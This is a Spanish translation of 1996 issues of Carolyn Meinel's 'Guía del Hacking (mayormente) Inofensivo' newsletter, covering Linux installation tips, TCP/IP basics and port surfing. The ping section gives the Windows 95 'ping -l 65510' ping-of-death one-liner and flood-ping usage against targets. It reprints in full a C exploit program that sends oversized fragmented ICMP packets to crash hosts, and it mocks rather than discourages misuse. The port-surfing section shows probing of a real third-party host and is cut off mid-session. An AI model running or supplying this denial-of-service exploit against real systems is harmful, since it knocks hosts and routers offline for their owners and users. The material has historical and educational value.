2) Intenta saber lo mas que puedas sobre el tipo de placa madre, módem, disco duro, CDROM, y tarjeta gráfica que tienes. Si tienes alguna documentación sobre ellos, tenla en la mano para consultar durante la instalación. 3) Es mejor el usar hardware de marca y de algún modo pasado de moda en tu ordenador. Ya que Linux es freeware, no ofrece drivers para todo el hardware nuevo. Y si tu hardware es como el mío -- un montón de cosas de marca X y El Cheapo, puedes pasarte un buen tiempo experimentando con que drivers funcionara. 4) Antes de comenzar la instalación, ¡haz un backup de tu(s) disco(s) duro(s)! En teoría puedes instalar Linux sin dañar tus archivos DOS/Windows. (Pero todos somos humanos, especialmente si seguimos el consejo 3) 5) Pilla mas de una distribución Linux. La primera vez que instale con éxito Linux, finalmente toque algo que funciono usando el disco boot de una distribución con el CDROM de otra. En cualquier caso, cada distribución de Linux tiene diferentes programas de utilidades, emuladores de sistemas operativos, compiladores y demás. Añádelos todos a tu sistema y estarás preparado para estar por encima de la elite. 6) Compra uno, dos o tres libros sobre Linux. ¡No me gustaba ninguno de ellos! Pero son mejores que nada. La mayoría de los libros de Linux vienen con uno o dos CD-ROM que pueden ser usados para instalar Linux. Pero yo me encontré con que lo que venia en los libros no coincidía exactamente con lo que venia en los CD-ROM. 7) Recomiendo beber mientras instalamos. No hará que el debugging vaya más rápido, pero al menos te dará igual lo duro que sea. Ahora puedo casi garantizar que incluso siguiendo esos 6 avisos, aun tendrás problemas instalando Linux. Oh, ¿tengo 7 avisos ahí arriba? Olvida el numero 7. Pero siéntete animado, ya que todo el resto de personas también sufren extremadamente cuando instalan y usan Linux, Internet tiene una increíble riqueza de recursos para el desafiado-por-Linux. Si eres alérgico a ser flameado, puedes comenzar con las Web sites de apoyo a Linux. La mejor que he encontrado es http://sunsite.unc.edu:/pub/Linux/ Incluye las Linux Frequently Asked Questions list (FAQ), disponibles en sunsite.unc.edu:/pub/Linux/docs/FAQ. En el directorio /pub/Linux/docs de sunsite.unc.edu encontrarás otros varios documentos acerca de Linux, incluyendo la Linux INFO-SHEET y la META-FAQ. El archivo HOWTO de Linux está en sunsite.unc.edu:/pub/Linux/docs/HOWTO. El directorio /pub/Linux/docs/LDP de sunsite.unc.edu contiene el set actual de manuales LDP.

Puedes pillar el ``Linux Installation and Getting Started'' de sunsite.unc.edu en /pub/Linux/docs/LDP/install-guide. El fichero README de allí describe como puedes pedir una copia impresa del libro del mismo nombre (unas 180 paginas). Ahora si no te importa ser flameado, puede que quieras postear preguntas en el increíble numero de grupos de news de Usenet que cubren Linux. Estos incluyen: comp.os.linux.advocacy Los beneficios de Linux comparados comp.os.linux.development.system Kernels de Linux, drivers de dispositivos comp.os.linux.x Servidores de sistema X-Window comp.os.linux.development.apps Escribiendo aplicaciones Linux comp.os.linux.hardware Compatibilidad de hardware comp.os.linux.setup Instalación de Linux comp.os.linux.networking Redes y comunicaciones comp.os.linux.answers FAQs, How-To's, READMEs, etc. linux.redhat.misc alt.os.linux Usa comp.os.linux.* en vez de éste alt.uu.comp.os.linux.questions La Universidad Usenet te ayuda comp.os.linux.announce Anuncios importantes para Linux comp.os.linux.misc Topicos específicos de Linux

Tobin Fricke también ha apuntado que "copias gratis de CD-ROM Linux están disponibles en el web site de Linux Support & CD Givaway en http://emile.math.ucsb.edu:8000/giveaway.html. Este es un proyecto donde la gente dona CDs de Linux que no necesitan más. El proyecto fue forjado por Linux Systems Labs, que donaron inicialmente 800 CDs de Linux! Por favor recuerda donar tu CD de Linux cuando hayas terminado ya con ellos. Si vives cerca de un canjeador informático, Fry's, Microcenter, u otro parecido, busca CDs de Linux allí. Están normalmente por debajo de $20, que es una inversión excelente. Personalmente me gusta el Linux Developer's Resource por Infomagic, que esta ya por 7 CDs, creo, que incluye todas las mayores distribuciones Linux (Slackware, Redhat, Debian, Linux para DEC Alpha por nombrar algunos) mas mirrors de tsx11.mit.edu y sunsite.unc.edu/pub/linux y mucho más. También

debes de visitar la MARAVILLOSA pagina Linux en: http://sunsite.unc.edu/linux, que tiene toneladas de información, además de esta http://www.linux.org/. También querrás comprobar http://www.redhat.com/ y http://www.caldera.com/ para mas información acerca de versiones comerciales de Linux (que están todavía disponibles gratis bajo GNU)". ¿Y qué tal la seguridad de Linux? Si, Linux, como todo sistema operativo, es imperfecto. Eminentemente hackeable, si de verdad quieres saberlo. Así que si quieres saber como asegurar tu sistema Linux, o si te encuentras con uno de los muchos proveedores que usan Linux y quieres ir a explorar (oops, olvida que he escrito eso), aquí es donde puedes ir a por información: ftp://info.cert.org/pub/cert_advisories/CA-94:01.network.monitoring.attacks ftp://info.cert.org/pub/tech_tips/root_compromise http://bach.cis.temple.edu/linux/linux-security/ Por ultimo pero no por ello menos, si quieres hacer preguntas sobre Linux en la lista del Happy Hacker, seas bienvenido. Podemos ser el ciego que conduce al ciego, ¡pero que coño!

¿Quieres ver números atrasados de la Guía del Hacking (casi) Inofensivo? Mira http://www.feist.com/~tqdb/evis-unv.html. ¿Quieres suscribirte a esta lista? Email [email protected] con el mensaje "subscribe happyhacker." ¿Quieres compartir material guay con la lista Happy Hacker? Manda tu mensaje a [email protected]. Para mandarme email confidencial (discusiones de actividades ilegales no) usa [email protected]. Por favor dirige tus flames hacia dev/[email protected]. Happy hacking! Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final.

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 2 Numero 3 Introducción a TCP/IP. ¡Eso significa paquetes! ¡Datagramas! Se explica el exploit de denegación de servicio por paquete de ping gigante. Pero este hack es mucho menos inofensivo que la mayoría. No intentes esto en casa...

Si has estado en la lista Happy Hacker por un momento, habrás estado recibiendo elementos dirigidos de la lista Bugtraq acerca de un nuevo exploit de paquetes ping. Si esto te ha estado sonando a galimatías, relájate. Es realmente muy sencillo. De hecho, es tan simple que si usas Windows 95, en cuanto termines este texto sabrás un simple comando de una sola línea que podrás usar para tirar abajo muchos hosts y routers de Internet.

ADVERTENCIA PUEDES IR A LA CÁRCEL: Esta vez no voy a implorar a los genios malignos "quiero-ser-hacker" en la lista para que sean virtuosos y resistan la tentación de emplear mal la información que estoy apunto de darles. ¡Mira si me preocupa! Si uno de esos tíos es pillado tirando abajo miles de hosts y routers de Internet, no solo irán a la cárcel y tendrán una gran multa. Todos nosotros pensaremos que el o ella es un/a gran capullo. Este exploit es un comando desde Windows 95 nada complicado y de una sola línea. Si, el sistema operativo que esta diseñado para retrasados mentales desorientados. Así que no hay nada de elite sobre este hack. Lo que es elite es ser capaz de desbaratar este ataque. NOTA PARA NOVATOS: Si los paquetes, datagramas, y TCP/IP no son exactamente tus entrañables colegas aun, créeme, necesitas de verdad meterte en la cama con ellos para poderte llamar hacker. Así que quédate aquí para algo de material técnico. Cuando lo tengas, tendrás la satisfacción de saber que puedes sembrar estragos en Internet, pero son muy elite para llevarlos hacerlo. Mas aun, este exploit ha sido descubierto recientemente -como hace unos días. Así que pronto sabrás cosas que la mayoría de los hackers elite ni siquiera han oído aun. Un paquete es un modo de mandar información electrónica que mantiene fuera los errores. La idea es que ninguna tecnología de transmisión es perfecta. ¿Has jugado alguna vez al juego "teléfono"? Reúnes una docena de gente o así en un circulo y la primera persona le susurra un mensaje al segundo. Algo como "El bollo es la forma más pequeña de cereal". La segunda persona le susurra al tercero, "Un bollo es la forma más pequeña de estafar". La tercera susurra, "El ron es la forma más pequeña de beber". Y así. Es muy divertido el descubrir lo mucho que un mensaje puede mutar mientras recorre el circulo.

Pero entonces, por ejemplo, recibes email, preferirás que no este todo hecho un lío. Así que el ordenador que manda el email lo divide en pequeños trozos llamados datagramas. Entonces envuelve las cosas alrededor de cada datagrama que le dice a que ordenadores debe dirigirse, de donde procedía, y que compruebe si el datagrama ha podido ser truncado. A estos embalajes de datagramas envueltos se les llaman "paquetes". Ahora si el ordenador que te manda el email fuera a "embalar" un mensaje realmente largo en tan solo un paquete, las posibilidades de que se desordene todo en su camino al otro ordenador son muy grandes. Un poco chungo. Así que cuando el ordenador que lo recibe comprueba el paquete y encuentra que se desordeno, lo tirara y le dirá al otro ordenador que lo vuelva a mandar. Podría llevar mucho tiempo hasta que este paquete gigante llegue intacto. Pero si el mensaje esta dividido en un montón de pequeños trozos y envueltos en manojos de paquetes, la mayoría de ellos estarán bien y el ordenador destino los guardara. Entonces le dirá al ordenador remitente que reenvíe solo los paquetes que estaban hechos un lío. Entonces cuando todos los trozos lleguen finalmente allí, el ordenador destinatario los une en el orden correcto y allí esta, ahí esta el mensaje completo, email sin errores. TCP/IP significa Transmission Control Protocol/Internet Protocol. Le dice a los ordenadores que están conectados a Internet como empaquetar los mensajes en paquetes y como leer paquetes estos paquetes de otros ordenadores. El ping usa TCP/IP para hacer sus paquetes.

"Ping" es un comando que manda una sonda de tu ordenador a otro ordenador para ver si esta encendido y conectado a la misma red a la que lo estas tu. En Internet hay unos 10 millones de ordenadores a los que puedes hacer ping. Ping es un comando que puedes dar, por ejemplo, desde los sistemas operativos UNIX, Windows 95 y Windows NT. Es parte del Internet Control Message Protocol (ICMP), que es usado para localizar averías de redes TCP/IP. Lo que hace es decir a un ordenador remoto que devuelva el ping. Mas aun, algunas formas del comando ping te dirán además lo que tarda un mensaje en ir a ese ordenador y volver de vuelta. Pero ¿cómo sabe tu ordenador que el ping que acaba de mandar ha vuelto del ordenador apuntado? El datagrama es la respuesta. El ping enviado es un paquete, y como cualquier paquete esta envuelto alrededor de un datagrama. Si el ping devuelto mantiene este mismo datagrama, sabes que fue tu ping que acaba de ser devuelto. El formato básico de este comando es simplemente: ping hostname donde "hostname" es la dirección de Internet del ordenador que quieres comprobar.

Cuando doy este comando desde el UNIX Release 4.1 de Sun, la respuesta que recibo es "hostname is alive".

CONSEJO TÉCNICO: Debido a los poderes destructivos del ping, muchos proveedores de servicios de Internet esconden el programa ping en sus cuentas shell donde los novatos desorientados no puedan meter sus manos. Si tu cuenta shell dice "comando no encontrado" cuando metes el comando ping, prueba: /usr/etc/ping hostname Si esto no funciona, quéjate al servicio técnico de tu proveedor. NOTA PARA NOVATOS: ¿Dices que no puedes encontrar un modo de hacer ping desde tu servicio ON-LINE? Eso puede ser quizás debido a que no tienes cuenta shell. Pero hay una cosa que realmente necesitas para hackear: ¡¡¡UNA CUENTA SHELL!!! La razón por la cual los hackers se ríen de la gente con cuentas en America Online es por que ese proveedor no da cuentas shell. Esto es debido a que America Online quiere que seáis buenos chicos y chicas y no hackeeis. Una "cuenta shell" es una cuenta de Internet en la que tu ordenador se convierte en un terminal de uno de los hosts de tu proveedor. Una vez estas en el "shell" puedes dar comandos al sistema operativo (que normalmente es UNIX) como si estuvieras sentado allí en la consola de uno de los hosts de tu proveedor. Puede que ya tengas una cuenta shell pero simplemente no sepas como meterte en ella. Llama al soporte técnico de tu proveedor para averiguar si tienes una y como conectarte.

Hay toda clase de variaciones del comando ping. Y, sabes algo, donde quiera que hay un comando que ejecutas en Internet que tenga muchas variaciones, puedes simplemente contar con que haya algo hackeable ahí. ¡Muhahaha! El flood ping es un ejemplo simple. Si tu sistema operativo te permite dar el comando: -> ping -f hostname manda un verdadero aluvión de pings, tan rápido como el host de tu proveedor pueda hacerlo. Esto mantiene al host al que has apuntado tan ocupado devolviendo tus pings que poco más puede hacer. También pone una carga muy pesada en la red. Hackers con habilidades primitivas algunas veces se unirán y usaran varios de sus ordenadores a la vez para hacer ping simultáneamente al ordenador host de alguna víctima

de Internet. Esto generalmente mantendrá al ordenador de la víctima muy ocupado para hacer cualquier otra cosa. Puede incluso venirse abajo. Sin embargo, la parte mala (desde el punto de vista de los atacantes) es que mantiene al ordenador atacante atado también.

NOTA NETIQUETTE: Hacer flood ping a un ordenador es extremadamente rudo. Que te cazen haciendo esto y tendrás suerte si lo peor que ocurre es que tu proveedor de servicios on-line cierra tu cuenta. Haz esto a un hacker serio y necesitaras un transplante de identidad. Si por accidente llegas a empezar un tipo de flood ping, puedes detenerlo presionando la tecla control y "c" (control-c). CONSEJO DE GENIO MALIGNO: ¡Hazte un ping a ti mismo! Si usas algún tipo de UNIX, tu sistema operativo te dejara usar tu ordenador para hacerle simplemente casi todo lo que él puede hacer a otros ordenadores. La dirección de red que te manda de vuelta a tu propio ordenador es localhost (o 127.0.0.1). Aquí va un ejemplo de como uso localhost: <slug> [65] ->telnet localhost Trying 127.0.0.1 ... Connected to localhost. Escape character is '^]'. SunOS UNIX (slug) login: Ves, vuelvo de nuevo a la secuencia de login del ordenador llamado "slug". Ahora me hago un ping a mí mismo: [68] ->/usr/etc/ping localhost localhost is alive Esto me da el mismo resultado que si diera el comando: [69] ->/usr/etc/ping llama llama.swcp.com is alive

CONSEJO MUHAHAHA: ¿Quieres tirar de la cadena de alguien? Dile que haga ftp a 127.0.0.1 y que se conecte usando su propio nombre de usuario y password para pillar ¡warez cojonudo! Mi exmarido Keith Henson lo hizo en la Iglesia de la Cienciologia. Los miembros hicieron ftp a 127.0.0.1 y descubrieron todas sus escrituras con Copyright. Asumieron que esto estaba en el ordenador de Keith, no en el suyo. Estaban *tan* seguros de que tenia sus escrituras que le llevaron a juicio. El juez, cuando se dio cuenta de que estaban simplemente haciendo un loop en su propio ordenador, literalmente les mando de la sala descojonándose de ellos. Para una transcripción buenísima o cinta de audio de esta sesión de juicio infame, manda un email a [email protected]. Esa es la dirección email de Keith. ¡Me quito el sombrero por un superhacker!

Sin embargo, el exploit del paquete ping descomunal que estas apunto de aprender puede incluso hacer mas daño a algunos hosts que una banda de conspiradores de ping flood. Y lo hará sin necesidad de reunir los ordenadores de los atacantes por mas del segundo que tarda ‚l en enviar un solo ping. El modo más fácil de hacer esto es correr Windows 95. ¿No lo tienes? Generalmente podrás encontrar un almacén El Cheapo que te lo mandara por $99. Para hacer esto, primero configura tu sistema Windows 95 para que puedas establecer una conexión PPP o SLIP con Internet usando el programa de Acceso Telefónico a Redes en el icono de Mi PC. Necesitaras algo de ayuda del soporte técnico de tu proveedor para configurar esto. Debes hacerlo de este modo o este hack no funcionara. Tu dialer de America Online *definitivamente* no funcionara.

NOTA PARA NOVATOS: Si tu conexión a Internet te permite ejecutar un browser que muestre gráficos/fotos, puedes usar tu numero de llamada con el programa de Acceso Telefónico a Redes de tu Windows 95 para pillar una conexión o bien PPP o SLIP

Lo siguiente, conéctate a Internet. Pero no ejecutes ningún browser o lo que sea. En vez de eso, una vez que el programa de Acceso Telefónico a Redes te diga que estas conectado, haz click en el botón "Inicio" y vete a "MS-DOS". Abre esta ventana DOS. Recibirás el prompt: C:\windows\>

Ahora primeramente hagamos esto de la manera de buen ciudadano. En este prompt puedes teclear el comando "ping": C:\windows\ping hostname donde "hostname" es la dirección de algún ordenador de Internet. Por ejemplo, puedes hacer ping a thales.nmia.com, que es uno de mis ordenadores favoritos, que esta detrás de algún filosofo Griego oscuro. Ahora si ocurre que sabes la dirección de uno de los ordenadores de Sadam Hussein, sin embargo, puede que quieras dar el comando: c:\windows\ping -l 65510 saddam_hussein's.computer.mil ¡Realmente no lo hagas a un ordenador real! Algunos, pero no todos, los ordenadores se vendrán abajo y se mantendrán o bien colgados o se resetearán cuando reciban este ping. Otros continuaran funcionando alegremente, y de repente se irán abajo horas mas tarde. ¿Por que? Ese extra añadido -l 65510 crea un datagrama gigante que es envuelto dentro del paquete ping. Algunos ordenadores, cuando se les pide que devuelvan un datagrama idéntico, se hacen un verdadero lío. Si quieres saber todos los detalles sangrientos de este exploit ping, incluyendo el cómo proteger tus ordenadores de él, comprueba: http://www.sophist.demon.co.uk/ping Ahora, hay otras formas de crear un datagrama ping gigante además de usar Windows 95. Por ejemplo, si corres alguna versión UNIX de FreeBSD o Linux en tu PC, puedes ejecutar este programa, que fue posteado a la lista Bugtraq. From: Bill Fenner To: Multiple recipients of list BUGTRAQ Subject: Ping exploit program Ya que hay gente que no tiene necesariamente cajas de Windows 95 por ahí, yo (Fenner) escribí el siguiente programa exploit. Requiere un raw socket layer que no interfiera con el paquete, así que BSD 4.3, SunOS y Solaris están fuera. Funciona bien en sistemas 4.4BSD. Puede funcionar en Linux si lo compilas con -DREALLY_RAW. Eres libre de hacer con esto lo que quieras. Por favor usa esto solo para testear tus propias maquinas, y no para tirar las de otros. * win95ping.c *

* Simulate the evil win95 "ping -l 65510 buggyhost". * version 1.0 Bill Fenner 22-Oct-1996 * * This requires raw sockets that don't mess with the packet at all (other * than adding the checksum). That means that SunOS, Solaris, and * BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD, * OpenBSD, BSDI) will work. Linux might work, I don't have a Linux * system to try it on. * * The attack from the Win95 box looks like: * 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+) * 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+) * 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+) * 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+) * 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+) * 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+) * 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+) * 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+) * 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+) * 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+) * 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+) * 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+) * 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)

* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+) * 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+) * 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+) * 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+) * 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+) * 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+) * 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+) * 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+) * 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+) * 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+) * 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+) * 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+) * 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+) * 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+) * 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+) * 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+) * 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+) * 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+) * 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+) * 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+) * 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+) * 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+) * 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)

* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+) * 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+) * 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+) * 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+) * 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+) * 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+) * 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+) * 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+) * 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120) */

#include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include #include #include #include #include

/* * If your kernel doesn't muck with raw packets, #define REALLY_RAW. * This is probably only Linux.

*/ #ifdef REALLY_RAW #define FIX(x) htons(x) #else #define FIX(x) (x) #endif

int main(int argc, char **argv) { int s; char buf[1500]; struct ip *ip = (struct ip *)buf; struct icmp *icmp = (struct icmp *)(ip + 1); struct hostent *hp; struct sockaddr_in dst; int offset; int on = 1;

bzero(buf, sizeof buf); if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) { perror("socket"); exit(1);

} if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("IP_HDRINCL"); exit(1); } if (argc != 2) { fprintf(stderr, "usage: %s hostname\n", argv[0]); exit(1); } if ((hp = gethostbyname(argv[1])) == NULL) { if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) { fprintf(stderr, "%s: unknown host\n", argv[1]); } } else { bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length); }

printf("Sending to %s\n", inet_ntoa(ip->ip_dst)); ip->ip_v = 4; ip->ip_hl = sizeof *ip >> 2; ip->ip_tos = 0; ip->ip_len = FIX(sizeof buf); ip->ip_id = htons(4321);

ip->ip_off = FIX(0); ip->ip_ttl = 255; ip->ip_p = 1; ip->ip_sum = 0; /* kernel fills in */ ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst; dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO; icmp->icmp_code = 0; icmp->icmp_cksum = htons(~(ICMP_ECHO << 8)); /* the checksum of all 0's is easy to compute */

for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) { ip->ip_off = FIX(offset >> 3); if (offset < 65120) ip->ip_off |= FIX(IP_MF); else ip->ip_len = FIX(418); /* make total 65538 */ if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst, sizeof dst) < 0) { fprintf(stderr, "offset %d: ", offset);

perror("sendto"); } if (offset == 0) { icmp->icmp_type = 0; icmp->icmp_code = 0; icmp->icmp_cksum = 0; } } } (Fin del mensaje del exploit ping de Fenner.)

NOTA PUEDES IR A LA CÁRCEL: No sólo este hack no es élite, si estás leyendo esto no sabes lo suficiente para evitar ser cazado por llevar a cabo este hack. Por otro lado, si fueras a hacerlo a un host de Internet en Iraq...

Por supuesto hay muchas otras cosas guay que puedes hacer con el ping. Si tienes una cuenta shell, puedes descubrir un montón de cosas acerca del ping dando el comando: man ping De hecho, puedes obtener un montón de detalles de cualquier comando de UNIX con "man". Diviértete con el ping -- y ¡se bueno! Pero recuerda, no estoy implorando a los genios malignos quiero-ser-hacker que sean buenos. Mira si me preocupo cuando te cazen...

¿Quieres ver números atrasados de la Guía del Hacking (casi) Inofensivo? Mira http://www.feist.com/~tqdb/evis-unv.html. ¿Quieres suscribirte a esta lista? Email [email protected] con el mensaje "subscribe happyhacker." ¿Quieres compartir material guay con la lista Happy Hacker? Manda tu mensaje a [email protected]. Para mandarme email confidencial (discusiones de actividades ilegales no) usa

[email protected]. Por favor dirige tus flames hacia dev/[email protected]. Happy hacking! Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final.

| Indice | Mi Currículum Vitae | Descarga de archivos | Volver a Guías de C. Meinel | Album de fotos | Buscadores |

No se pude mostrar la imagen v inculada. Puede que se hay a mov ido, cambiado de nombre o eliminado el archiv o. Compruebe que el v ínculo señala al archiv o y ubicaciones correctos.

Esta página está alojada en

GUÍA DEL HACKING (mayormente) INOFENSIVO Vol. 2 Numero 4 Más introducción al TCP/IP: ¡Surfeo de puertos! ¡Daemons! Como entrar en casi cualquier ordenador sin necesidad de hacer logging y sin romper la ley.

Hace unos pocos días me vino a visitar una amiga. Tiene 42 años y no tiene ordenador. Sin embargo, está tomando clases de ordenadores en un colegio de la comunidad. Quería saber de que va todo esto del hacking. Así que decidí introducirle en lo del surfeo de puertos. Y mientras lo hacía, nos topamos con algo guay. El surfeo de puertos se aprovecha de la estructura del TCP/IP. Este es el protocolo (conjunto de normas) usado por los ordenadores para hablar entre ellos en Internet. Uno de los principios básicos de UNIX (el sistema operativo más popular de Internet) es el asignar un "puerto" a cada función que un ordenador pueda pedir a otro que lleve a cabo. Ejemplos comunes son el mandar y recibir email, leer los grupos de noticias de Usenet, telnet, transferencia de ficheros, y ofrecer páginas Web.

NOTA PARA NOVATOS #1: Un puerto de ordenador es un lugar donde la información entra o sale del mismo. En el ordenador de tu casa, ejemplos de puertos son tu monitor, que manda información fuera, tu teclado y ratón, que envían información dentro, y tu módem, que envía y recibe información. Pero un host de Internet tal como callisto.unm.edu tiene muchos más puertos que un típico ordenador personal. Estos puertos se identifican mediante números. Ahora, estos puertos no son todos físicos, como un teclado o un puerto serie RS232 (para el módem). Son puertos virtuales (software).

Así que si quieres leer una pagina Web, tu browser contacta con el puerto numero 80 y le dice al ordenador que maneja dicha Web que te deje pasar. Y, seguro, que entras en ese servidor Web sin un password. Bien, buen trato. Eso es bastante común en Internet. Muchos -- la mayoría -- de los ordenadores en Internet te dejaran hacer algunas cosas con ellos sin necesidad de un password.

Sin embargo, la esencia del hacking es hacer cosas que no sean obvias. Eso no saltara a ti de los manuales. Una forma de dar un paso más en la carrera del sufrido usuario de ordenador es aprender como hacer port surfing. Apuesto a que no encontraras nada de port surfing en un manual UNIX. La esencia del port surfing es pillar un ordenador víctima y explorarlo para ver que puertos están abiertos y que puedes hacer con ellos. Ahora, si eres un hacker vago puedes usar herramientas en lata para hackers como SATAN o Netcat. Estos son programas que puedes ejecutar en Linux, FreeBSD o Solaris (toda clase de UNIX) desde tu PC. Automáticamente escanean tus ordenadores víctima. Te dirán que puertos están en uso. También probaran estos puertos para la presencia de daemons con fallos de seguridad conocidos, y te dirán cuales son.

NOTA PARA NOVATOS #2: Un daemon no es una clase de duende o gremlin o tío 666. Es un programa que corre en segundo plano en muchos (pero no todos) puertos de sistemas UNIX. Espera a que entres y lo uses. Si encuentras un daemon en un puerto, es probablemente hackeable. Algunas herramientas de hackers te dirán cuales son las características hackeables de los daemons que detecten.

Sin embargo, hay varias razones por las que hacer port surfing manualmente en vez de automáticamente. 1) Aprenderás algo. Probando manualmente percibes una sensación de como se comporta el daemon que corre en dicho puerto. Es la diferencia entre ver una película porno y ... 2) Puedes impresionar a tus colegas. Si ejecutas una herramienta para hackers como SATAN tus amigos te miraran y dirán, "Macho. Yo puedo ejecutar programas, también". Inmediatamente comprenderán el pequeño sucio secreto del mundo hacker. La mayoría de los exploits hackeables son solo lamers ejecutando programas que pillaron de alguna BBS o site FTP. Pero si metes comandos tecla por tecla tus amigos te verán usando el cerebro. Y tu puedes ayudarles a jugar con daemons, también, y darles una gran ráfaga. 3) Los verdaderos hackers elite hacen port surfing y juegan con los daemons a mano por que es la única manera de descubrir algo nuevo. Hay tan solo unos pocos cientos de hackers -- como mucho -- que descubren nuevas cosas. El resto simplemente ejecutan exploits en lata una y otra vez. Aburrido. Pero el port surfing a mano está en el camino de la cima al hackerdom. Ahora deja que te diga lo que mi amiga y yo descubrimos mientras estabamos simplemente enredando por ahí.

Primero, decidimos que no queríamos perder nuestro tiempo jugueteando con algún host pequeñito. ¡Hey, vayamos a lo grande! Así que ¿cómo encuentras un ordenador "gordo" en Internet? Comenzamos con un dominio que consistía en una LAN (red de área local) de PCs corriendo Linux que acababa de conocer, que es usada por el proveedor de Nuevo México: nmia.com.

NOTA PARA NOVATOS #3: Un dominio es una dirección de Internet. Puedes usarlo para ver quien corre el ordenador usado por el dominio, y también para comprobar como está conectado ese dominio al resto de Internet.

Así que para hacer esto primeramente loggeamos a mi cuenta shell con Southwest Cyberport. Di el comando: <slug> [66] ->whois nmia.com New México Internet Access (NMIA-DOM) 2201 Buena Vista SE Albuquerque, NM 87106

Domain Name: NMIA.COM

Administrative Contact, Technical Contact, Zone Contact: Orrell, Stan (SO11) [email protected] (505) 877-0617

Record last updated on 11-Mar-94. Record created on 11-Mar-94.

Domain servers in listed order:

NS.NMIA.COM 198.59.166.10 GRANDE.NM.ORG 129.121.1.2

Ahora es una buena apuesta el decir que grande.nm.org está sirviendo a muchos otros host de Internet aparte de nmia.com. Aquí está como hicimos port surfing para comprobar esto: <slug> [67] ->telnet grande.nm.org 15 Trying 129.121.1.2 ... Connected to grande.nm.org. Escape character is '^]'. TGV MultiNet V3.5 Rev B, VAX 4000-400, OpenVMS VAX V6.1

Product License Authorization Expiration Date ---------- ------- ------------- --------------MULTINET Yes A-137-1641 (none) NFS-CLIENT Yes A-137-113237 (none)

*** Configuration for file "MULTINET:NETWORK_DEVICES.CONFIGURATION" ***

Device Adapter CSR Address Flags/Vector

------ ------- ----------- ------------

se0 (Shared VMS Ethernet/FDDI) -NONE- -NONE- -NONE-

